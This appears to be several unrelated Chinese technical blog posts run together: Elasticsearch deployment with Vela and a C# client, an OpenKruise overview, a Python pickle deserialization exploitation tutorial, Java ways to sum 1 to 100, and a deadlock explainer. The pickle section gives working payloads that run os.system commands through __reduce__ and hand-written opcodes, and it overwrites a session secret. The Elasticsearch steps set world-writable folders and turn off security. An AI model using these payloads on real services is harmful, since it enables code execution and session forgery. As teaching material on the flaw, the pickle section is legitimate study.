2024年1月

Vela
除了可以帮我们编译、部署程序,利用它的docker部署功能,也能用来部署其他线上的docker镜像,例如部署RabbitMQ、PostgreSql、Elasticsearch等等,便于集中管理。

image

部署 Elasticsearch

创建文件夹并赋予权限:

mkdir /usr/local/es/data
mkdir /usr/local/es/plugins
chmod 777  /usr/local/es/data
chmod 777  /usr/local/es/plugins


在 Vela 中新增部署程序,并指定使用docker容器运行。

  • 设置其端口映射

9200:9200,9300:9300

  • 文件夹映射

/usr/local/es/data:/usr/share/elasticsearch/data,/usr/local/es/plugins:/usr/share/elasticsearch/plugins

  • 环境变量

discovery.type=single-node,ES_JAVA_OPTS=-Xms512m -Xmx512m

  • dockerfile内容

FROM elasticsearch:8.6.0 AS base

保存这些基本信息,直接发布程序就可以了。

以非root用户运行docker容器

我们知道,docker默认是以root用户运行容器的,如果你希望以其他用户运行,并且容器里的程序也支持普通用户,可以在dockerfile中加入下面语句,可以让容器以Vela运行时的用户去运行。

RUN useradd -u %uid% -m job || true
USER %uid%

注意:此功能需要升级到最新的Vela才能支持,如何升级请参考官方文档:
http://jms.jacktan.cn?doc/43/3

关闭 密码安全验证

到config目录下,打开 elasticsearch.yml ,把 xpack.security.enabled 改为 false

安装IK分词器

进入docker容器 : docker exec -it es /bin/bash
输入命令:

./bin/elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.6.0/elasticsearch-analysis-ik-8.6.0.zip

然后
重启
容器生效。

C# 如何使用

引入nuget包:Elastic.Clients.Elasticsearch

连接

            var settings = new ElasticsearchClientSettings(new Uri("http://localhost:9200"));

            ElasticsearchClient client = new ElasticsearchClient(settings);

插入数据

            for (int i = 0; i < 100; i++)
            {
                client.Index<Document>(new Document
                {
                    Id = 2 + i,
                    Name = "test" + (2 + i),
                    Content = "不断测试我的" + i + "多个文章内容",
                    Time = DateTime.Now.AddMinutes(i + 1)
                }, "document");
            }

更新数据

         doc.Content += " 附加的。";
         var response_update = await client.UpdateAsync<Document, Document>("document", 1, u => u.Doc(doc));

删除数据

    var response = await client.DeleteAsync("document", 1);

获取数据

var response = await client.GetAsync<Document>(id, idx => idx.Index("document"));

if (response.IsValidResponse)
{
    var doc = response.Source;
}

搜索数据(相等判断)

            var response_search = await client.SearchAsync<Document>(s => s
                .Index("document")
                .From(0)
                .Size(10)
                .Query(q => q
                    .Term(t => t.Name, "test2")
                )
     
            );

搜索数据(全文检索)

            var searchResponse = client.Search<Document>(s => s
	            .Index("document")
	            .From(0)
	            .Size(10)
	            .Query(q => q
	                 .Match(m => m
	                     .Field(f => f.Content) // 替换为你的实际字段名
	                     .Query("测试内容")
	                 )
	             )
	            .Sort(sort => sort
	                .Field(f => f.Time, d => d.Order(SortOrder.Desc)) // 按时间降序排序
	            )
           );

or 条件语句

            var response_search = await client.SearchAsync<Document>(s => s
                .Index("document")
                .From(0)
                .Size(10)
                .Query(q => q
                    .Bool(b=>b
                        .Should(
                            s => s.Term(t => t.Name, "test2"),
                            s => s.Term(t => t.Name, "test3")
                        )
                    )
                )
     
            );

自定义字段检索类型

            var createIndexResponse = client.Indices.Create("document", c => c
                .Mappings(ms => ms
                        .Properties<Document>(props => props
                            .Text(t => t.Content) // 设置为文本类型,进行全文检索
                            .Keyword(k => k.Name)// 设置为关键字类型,不进行全文检索
                            .DateRange(n => n.Time)
                        )
                  )
            );

本文分享自华为云社区《
OpenKruise核心能力和工作原理
》,作者:可以交个朋友。

一、 诞生背景

Kubernetes 自身提供的应用部署管理功能,无法满足大规模应用场景的需求,例如应用发布时的原地升级策略,流式扩容,缩容顺序控制等等。所以OpenKruise的出现弥补了 Kubernetes 在应用部署、升级、防护、运维等领域的不足。

cke_138.png

二、 OpenKruise介绍

核心能力介绍,帮助快速入门openkruise。

2.1 架构预览

cke_139.png

OpenKruise 的功能都是通过 Kubernetes API 来提供的。

  • Kruise-manager :运行着 controller 和 webhook的中心组件,它通过 Deployment 部署在 kruise-system 命名空间中,同样它们之间采用 leader-election 的方式选主,同一时间只有一个提供服务,达到高可用的目的。除了 controller 之外,kruise-controller-manager-xxx 中还包含了针对 Kruise CRD 以及 Pod 资源的 admission webhook。Kruise-manager 会创建webhook configurations 来配置哪些资源需要感知处理、以及提供一个 Service 来给 kube-apiserver 调用。
  • kruise-daemon:这是从 Kruise v0.8.0 版本开始提供的一个新的 daemon 组件。它通过 DaemonSet 部署到每个 Node 节点上,提供镜像预热、容器重启等功能。

三、 核心能力

OpenKruise 是一个基于 Kubernetes 的扩展套件,主要聚焦于云原生应用的自动化,比如 部署、发布、运维以及可用性防护。OpenKruise 提供的绝大部分能力都是基于 CRD 扩展来定义,它们不存在于任何外部依赖,可以运行在任意纯净的 Kubernetes 集群中。核心能力包括:

  • 增强版本的Workloads: 比如 CloneSet、Advanced StatefulSet、Advanced DaemonSet、BroadcastJob 等。它们不仅支持类似于 Kubernetes 原生 Workloads 的基础功能,还提供了如原地升级、可配置的扩缩容/发布策略、并发操作等。
  • 应用的旁路管理: OpenKruise 提供了多种通过旁路管理应用 sidecar 容器、多区域部署的方式,“旁路” 意味着你可以不需要修改应用的 Workloads 来实现它们。赋予单一 workload 的多区域和弹性部署的能力。
  • 高可用性防护:目前它可以保护你的 Kubernetes 资源不受级联删除机制的干扰,包括 CRD、Namespace、以及几乎全部的 Workloads 类型资源。
  • 高级的应用运维能力:OpenKruise 也提供了很多高级的运维能力来帮助你更好地管理应用。你可以通过 ImagePullJob 来在任意范围的节点上预先拉取某些镜像,或者指定某个 Pod 中的一个或多个容器被原地重启。

以下将对常用场景功能进行介绍。

3.1 丰富的调度策略

WorkloadSpread能够将workload的Pod按一定规则分布到不同类型的Node节点上,赋予单一workload多区域部署和弹性部署的能力。

常见的一些规则包括:

  • 水平打散(比如按host、az等维度的平均打散)。
  • 按指定比例打散(比如按比例部署Pod到几个指定的 az 中)。
  • 带优先级的分区管理,比如:优先部署到ecs,资源不足时部署到eci;优先部署固定数量个pod到ecs,其余到eci;定制化分区管理,比如:控制workload部署不同数量的Pod到不同的cpu架构上;确保不同的cpu架构上的Pod配有不同的资源配额。

每一个WorkloadSpread定义多个区域(定义为subset), 每个subset对应一个maxReplicas数量。WorkloadSpread利用Webhook注入subset定义的域信息,同时控制Pod的扩缩容顺序。

3.2 缩容顺序控制

pod 的删除场景可通过PodDeletionCost进行控制: 较小 pod-deletion cost < 较大 pod-deletion cost

controller.kubernetes.io/pod-deletion-cost 是从 Kubernetes 1.21 版本后加入的 annotation,Deployment/ReplicaSet 在缩容时会参考这个 cost 数值来排序。

  • 用户可以把这个 annotation 配置到 pod 上,值的范围在 [-2147483647, 2147483647]。 它表示这个 pod 相较于同个 CloneSet 下其他 pod 的 “删除代价”,代价越小的 pod 删除优先级相对越高。 没有设置这个 annotation 的 pod 默认 deletion cost 是 0。
  • CloneSet 已经支持该特性。其他 native workload 需 kubernetes version >= 1.21。且 1.21 版本需要显式开启 PodDeletionCost feature-gate,自 1.22 起默认开启。

在openkruise中,我们可以配置WorkloadSpread,借助 APIServer PodDeletionCost 特性,WorkloadSpread 利用 webhook 向Pod注入域规则,从而控制缩容顺序。

3.3 指定Pod缩容

当一个 CloneSet 被缩容时,支持用户指定一些 Pod 来删除。这对于 StatefulSet 或者 Deployment 来说是无法实现的,因为 StatefulSet 要根据序号来删除 Pod,而 Deployment/ReplicaSet 目前只能根据控制器里定义的排序来删除。

CloneSet 允许用户在缩小 replicas 数量的同时,指定想要删除的 Pod 名字。参考下面这个例子:

apiVersion: apps.kruise.io/v1alpha1

kind: CloneSet

spec:

# ...

replicas:
4scaleStrategy:

podsToDelete:
- sample-9m4hp

当控制器收到上面这个 CloneSet 更新之后,会确保 replicas 数量为 4。如果 podsToDelete 列表里写了一些 Pod 名字,控制器会优先删除这些 Pod。 对于已经被删除的 Pod,控制器会自动从 podsToDelete 列表中清理掉。

如果你只把 Pod 名字加到 podsToDelete,但没有修改 replicas 数量,那么控制器会先把指定的 Pod 删掉,然后再扩一个新的 Pod。

3.4、原地升级

原地升级是 OpenKruise 提供的核心功能之一。目前支持原地升级的 Workload:

  • CloneSet
  • Advanced StatefulSet
  • Advanced DaemonSet
  • SidecarSet

当我们要升级一个存量 Pod 中的镜像时,这是 重建升级 和 原地升级 的区别:

cke_140.png

重建升级时我们要删除旧 Pod、创建新 Pod:

  • Pod 名字和 uid 发生变化,因为它们是完全不同的两个 Pod 对象(比如 Deployment 升级)
  • Pod 名字可能不变、但 uid 变化,因为它们是不同的 Pod 对象,只是复用了同一个名字(比如 StatefulSet 升级)
  • Pod 所在 Node 名字发生变化,因为新 Pod 很大可能性是不会调度到之前所在的 Node 节点的
  • Pod IP 发生变化,因为新 Pod 很大可能性是不会被分配到之前的 IP 地址的

但是对于原地升级,我们仍然复用同一个 Pod 对象,只是修改它里面的字段。因此:

  • 可以避免如 调度、分配 IP、分配、挂载盘 等额外的操作和代价
  • 更快的镜像拉取,因为开源复用已有旧镜像的大部分 layer 层,只需要拉取新镜像变化的一些 layer
  • 当一个容器在原地升级时,Pod 中的其他容器不会受到影响,仍然维持运行

3.5 镜像预热

NodeImage 和 ImagePullJob 是从 Kruise v0.8.0 版本开始提供的 CRD。

Kruise 会自动为每个 Node 创建一个 NodeImage,它包含了哪些镜像需要在这个 Node 上做预热。

用户能创建 ImagePullJob 对象,来指定一个镜像要在哪些 Node 上做预热。

cke_141.png

注意,NodeImage 是一个偏底层的 API,一般只在你要明确在某一个节点上做一次预热的时候才使用,否则你都应该使用 ImagePullJob 来指定某个镜像在一批节点上做预热。

四、安装部署&升级

从 v1.0.0 (alpha/beta) 开始,OpenKruise 要求在 Kubernetes >= 1.16 以上版本的集群中安装和使用。

安装: 推荐使用helm方式进行安装

# 首先添加helm仓库

$ helm repo add openkruise https:
//openkruise.github.io/charts/ $ helm repo update

# 安装指定版本,
1.5.0为当前最新的stable版本

$ helm install kruise openkruise
/kruise --version 1.5.0

如果不想使用默认的参数进行安装,可以手动下载chart包进行定制化安装,例如修改 resources 限制或者配置 feature-gates,chart包下载地址参考:
https://openkruise.github.io/charts/

升级: 通过helm方式升级

# Firstly add openkruise charts repository if you haven't do this.
$ helm repo add openkruise https://openkruise.github.io/charts/
# [Optional]

$ helm repo update

# Upgrade to the latest version.

$ helm upgrade kruise openkruise
/kruise --version 1.5.0 [--force]
  1. 在升级之前,确保已经了解新版本的不兼容变化。
  2. 如果你要重置之前旧版本上用的参数或者配置一些新参数,建议在 helm upgrade 命令里加上 --reset-values。
  3. 如果你在将 Kruise 从 0.x 升级到 1.x 版本,你需要为 upgrade 命令添加 --force 参数,其他情况下这个参数是可选的。

点击关注,第一时间了解华为云新鲜技术~

什么是Pickle?

很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题

Pickle使用

举个简单的例子

import pickle
class Person():
    def __init__(self):
        self.age = 18
        self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode)

person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)


# 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12

pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程

注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样

魔术方法__reduce__

object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行

Pickle反序列化漏洞利用

import pickle 
import os
class Exp():
    def __reduce__(self):
        return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode)

# 输出结果
sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle

Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
    .
    这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。


当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储
    new-style class
    提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅
    PEP 307
  • v3 版协议添加于 Python 3.0。它具有对
    bytes
    对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅
    PEP 3154

pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令

常用opcode指令介绍

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

更多的opcode指令可以查看pickle.py获取

PVM工作流程

嫖的动图
PVM解析str

PVM解析__reduce__:

手写opcode

举个简单的opcode例子:

opcode = '''cos              # c[moudle]\n[instance]\n
system			     # 前两句相当于导入os模块,调用system
(S'whoami'		     # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
tR.			     # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
'''			     # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
                             # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果

程序:

import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker

pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式:

import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

多命令执行

在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到
.
导致程序结束返回就能一直执行命令

import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker

R,i,o介绍

在opcode里能执行函数的字节码就是R,i,o

  • R
opcode=b'''cos
system
(S'whoami'
tR.
'''
  • i : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami'
ios
system
.'''
  • o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi

import pickle
class Person():
    def __init__(self, age, name):
        self.age = age
        self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name)

# 运行结果
18
F12

变量覆盖

也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session

secret = "F13"
import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后:"+ fake.secret)

# 运行结果
一开始:F13
最后:F12

首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12

Pker工具介绍

一个方便生成所需要opcode代码的工具:
https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单

近日偶然在一论坛网站上看到一道问答题目 “使用三种不同的实现,完成 1+2+..+100 的编程”。 让人回忆起,好似这是初学编程时课堂留下的练习题目。算算如今离开课堂已是十余年了,一时兴趣不妨再来做一做这道题。

三种基础循环语法

没记错的话,这道题在学习完基础循环语法后所布置的练习,最先想到的是使用
for(;;)
循环语句来实现。

	int recursionCompute(int n){
        int sum = 0;
        for (int i = 1; i <= n ; i++) {
            sum += i;
        }
        return sum;
 	} 

熟悉
for(;;)
语句语法的三要素话,也可以写的更简短一些,利用从大到小倒过来进行累加 ,不一定需要 变量
i

	int recursionForCompute(int n) {
        int sum;
        for(sum = 0; n > 0; sum += n--);
        return sum;
    }

学习循环后布置的练习,出题者的初衷或许是用于练习三种循环写法。所以除开
for(;;)
循环结构,同样 也可以利用
while(){}
的语法来进行实现。

	int recursionWhileCompute(int n){
        int sum = 0;
        while ( n > 0 ){
            sum += n--;
        }
        return sum;
    }

当然,还有
do{ }while()
的循环结构来写同样也必然可以的,在此就不赘述了。

应用基础算法思想

以上的几种实现虽然不尽相同,但都是用基础循环语法进行的编码。换个角度除开基础语法的直接实现,也可以结合一些基础算法的思想来解题。例如:如果 将其拆解成同类子问题,对于 求
sum(n)
,可以拆解为
n + sum(n-1)
;最简单的情况 sum(1) 的值为 1,从而可以用递归算法来实现。

	int recurrenceCompute(int n){
        if( 1 == n ) return  1;
        return n + recurrenceCompute(n-1);
   	}

二分算法的思想或许也是个不错的选择,求
1+2+...+n
的和,其实也就是 求
1+2+...+ mid
+
(mide+1) + ... + n
的和。

	int divideCompute(int start,int end){
        if (start == end) return  start;
        int mid = (start + end) / 2;
        return divideCompute(start,mid) + divideCompute(mid+1,end);
    }

另外,也可以观察下规律 1+100 = 2+99 = 3+98 ...,不妨也可以运用双指针算法技巧来进行实现。

	int doublePointerCompute(int n){
        int sum = 0,left = 1,right = n++;
        do{
            sum += n;
        }while (++left < --right);
        return left == right ? sum + right : sum;
    }

数学与二进制

编程的基础是数学,如果说最简单的实现,当然还是应用数学求和公式。

    int mathCompute(int n){
        return ((1+n)*n)/2;
    }

就计算机的组成设计而言,计算机中的位运算通常可以通过基本的逻辑门操作来实现,而除法则需要更复杂的电路和算法。位运算可以在硬件级别上更直接地执行,而不需要像除法一样的迭代和复杂的步骤。所以对于求1+2...+100的和而言
除2
可以应用二进制位移来替代。

	int mathBitCompute(int n){
        return ((1+n)*n)>>1;
    }

如果熟悉编程中各种运算优先级,或许可以写的更
艺术
一点,不过这样可读性就没那么高了。

	int mathIncrementCompute(int n){
        return n++*n>>1;
    }

特定高级语言功能

除了语法、算法、数学外,可以考虑结合特定高级语言功能库来进行实现。以java为例 ,在1.8版本应用流(Stream)来进行实现。

	int streamCompute(int n){
        return IntStream.rangeClosed(1,n).sum();
    }

同样应用 Stream 提供的功能,改成 并发执行。

	int streamParallelCompute(int n){
        return IntStream.rangeClosed(1,n).parallel().sum();
    }

除了 IntStream, 应用 Stream 迭代器来实现也是个不错的选择。

    int streamIterateCompute(int n){
        return  Stream.iterate(1, i -> i + 1)
                .limit(n)
                .reduce(0, Integer::sum);
    }

如果升级到 java 9版本,也可以利用 takeWhile 来实现。

	int streamTakeWhileCompute(int n){
        return  Stream.iterate(1, i -> i + 1)
                .takeWhile(x -> x <= n)
                .reduce(0, Integer::sum);
    }

当然还可以有更多的写法了,比如Java 19 中的虚拟线程等等,在此就不一一列举了。

解题思路从最开始的基础语法开始,然后是数据结构与算法,再到结合计算机基础原理(电路、二进制等),再到特定语言的类库、特性等,也暗合初学编程从入门到熟练使用的过程。

回顾看对于简单的问题,也有许多不同的编码方式和实现方法。不同的开发者可能会选择不同的路径来解决相同的问题。通过编写具有不同实现方式的代码,来表达自己的观点、风格和创造性,这些不同的实现让人感受到_编程多样之美_。

在底层,所有的编程语言最终都会被翻译成机器语言-计算机硬件可以直接执行的指令。这些指令本质上是逻辑门电路的操作,都基于二进制数学。底层的一致性使得无论我们使用什么样的高级抽象,最终都是在共同的计算模型下运行,这何不是一种_编程统一之美_。

或许喜爱编程的人都是痴儿,痴迷于编程既多样又统一的美感。也或许是这种痴迷使得编程成为一门富有乐趣和挑战性的艺术和技术。

欢迎关注 Java研究者 公众号、博客、腾讯专栏等,期待点赞、收藏。

什么是死锁?

死锁是指两个或多个进程在执行过程中,因争夺资源而造成的一种相互等待的现象,如果没有外力干涉,这些进程将永远无法继续执行

死锁通常发生在多个进程试图同时访问同一资源而无法获取的情况下,例如,进程 A 需要访问资源 C,进程 B 需要访问资源 D,如果进程 A 获取了资源 C 的锁,进程 B 也获取资源 D 的锁,而进程 A 需要获取资源 D 的锁才能继续执行,进程 B 也需要获取资源 C 的锁才能继续执行,那么进程 A 和进程 B 就会陷入相互等待的状态,导致系统无法继续正常工作


产生死锁的原因

1. 竞争不可抢占资源引起死锁

系统中拥有的不可抢占资源,其数量不足以满足多个进程运行的需要,使得进程在运行过程中,会因争夺资源而陷入僵局。例如:系统中只有一台打印机,进程 A 已占用该打印机,那么进程 B 要求使用打印机将被阻塞

2. 进程推进顺序不当引起死锁

进程在运行过程中,请求和释放资源的顺序不当,也会导致死锁。例如之前概述提到的例子,进程 A 和 B 分别锁住了资源 C 和 D,而进程 A 又申请资源 D,进程 B 又申请资源 C,两者就会因为所需资源被占用而阻塞


产生死锁的四个必要条件

以下四个条件是产生死锁的必要条件,只要系统发生死锁,这些条件必然成立,而只要下述条件有任何一个不满足,就不会发生死锁

  • 互斥条件:一个资源每次只能被一个进程使用
  • 不可剥夺条件:进程已获得的资源,在末使用完之前,不能强行剥夺
  • 请求与保持条件:一个进程因请求资源而阻塞时,对已获得的资源保持不放
  • 环路等待条件:指在发生死锁时,必然形成一种头尾相接的循环等待资源关系,例如:进程集合 {P1,P2,···,Pn} 中的 P1 正在等待 P2 占用的资源;P2 正在等待 P3 占用的资源,……,Pn 正在等待 P1 占用的资源


预防死锁

预防死锁,就是避免四个必要条件同时成立,只要破坏其中一个就可以了

  • 资源可被多个进程同时使用(破坏互斥条件,但一般来说不会这样做)
  • 一次性分配所有资源,这样就不会再有请求资源,自然也不会因为请求资源而阻塞(破坏请求条件)
  • 只要有一个资源得不到分配,也不给这个进程分配其他的资源(破坏保持条件)
  • 当某进程获得部分资源,但得不到其它资源,则释放已占有的资源(破坏不可剥夺条件)
  • 给每一个资源赋予一个编号,每一个进程按编号递增的顺序请求资源,释放则相反(破坏环路等待条件)

具体的实现方法有如下:

  1. 破坏请求与保持条件:可以定义一个系统唯一的资源管理者,由管理者统一分配资源,如果管理员只拿到部分资源,那么就不会进行分配
  2. 破坏不可剥夺条件:进程尝试获取锁时加上一定的时限,超过时限则放弃对该锁的请求,并释放自己占有的锁,过一段时间再重新尝试获取
  3. 破坏环路等待条件:确保所有的进程都是按照相同的顺序获得锁,比如按照锁对象的 hashCode 值大小的顺序,那么死锁也就不会发生了


避免死锁

预防死锁是设法破坏产生死锁的四个必要条件中至少一个,严格的防止死锁的出现,会降低系统性能。有时候即使四个条件都存在,死锁也不一定发生。因此,可以在进行资源分配前预估本次分配是否会导致死锁,不会,则分配资源,否则,进程等待,其中最具有代表性的避免死锁算法是银行家算法


检测死锁

死锁检测是一种更好的死锁预防机制,系统为进程分配资源时,不采取任何限制措施,但提供了检测和解除死锁的手段。当死锁发生时,能检测到死锁发生的位置和原因,并强行破坏死锁发生的必要条件,从而使进程从死锁状态中恢复过来

每当一个线程获得了锁,就在线程和锁相关的数据结构中(map 等)将其记下。除此之外,每当有线程请求锁,也需要记录

当一个线程请求锁失败,这个线程就遍历锁的关系图看看是否有死锁发生,例如:线程 A 请求锁 7,但是锁 7 这个时候被线程 B 持有,线程 A 就检查线程 B 是否已经请求了线程 A 当前所持有的锁,如果线程 B 确实有这样的请求,那么就发生了死锁

一般死锁的情况会复杂很多,线程 A 等待线程 B,线程 B 等待线程 C,线程 C 等待线程 D,线程 D 又在等待线程 A,因此线程 A 为了检测死锁,需要检测所有线程 B 请求的锁,从线程 B 所请求的锁开始,线程 A 找到线程 C,然后又找到线程 D,发现线程 D 请求的锁被线程 A 自己持有,这时线程 A 就知道发生了死锁


解除死锁

一旦出现死锁,就应立即釆取相应的措施,以解除死锁,常用方法有:

  • 资源剥夺法:挂起某些死锁进程,并抢占它的资源,将这些资源分配给其他的死锁进程
  • 撤销进程法:强制撤销死锁进程,撤销的原则可以按进程优先级和撤销进程代价的高低进行
  • 进程回退法:让进程回退到足以回避死锁的地步,进程回退时自愿释放资源而不是被剥夺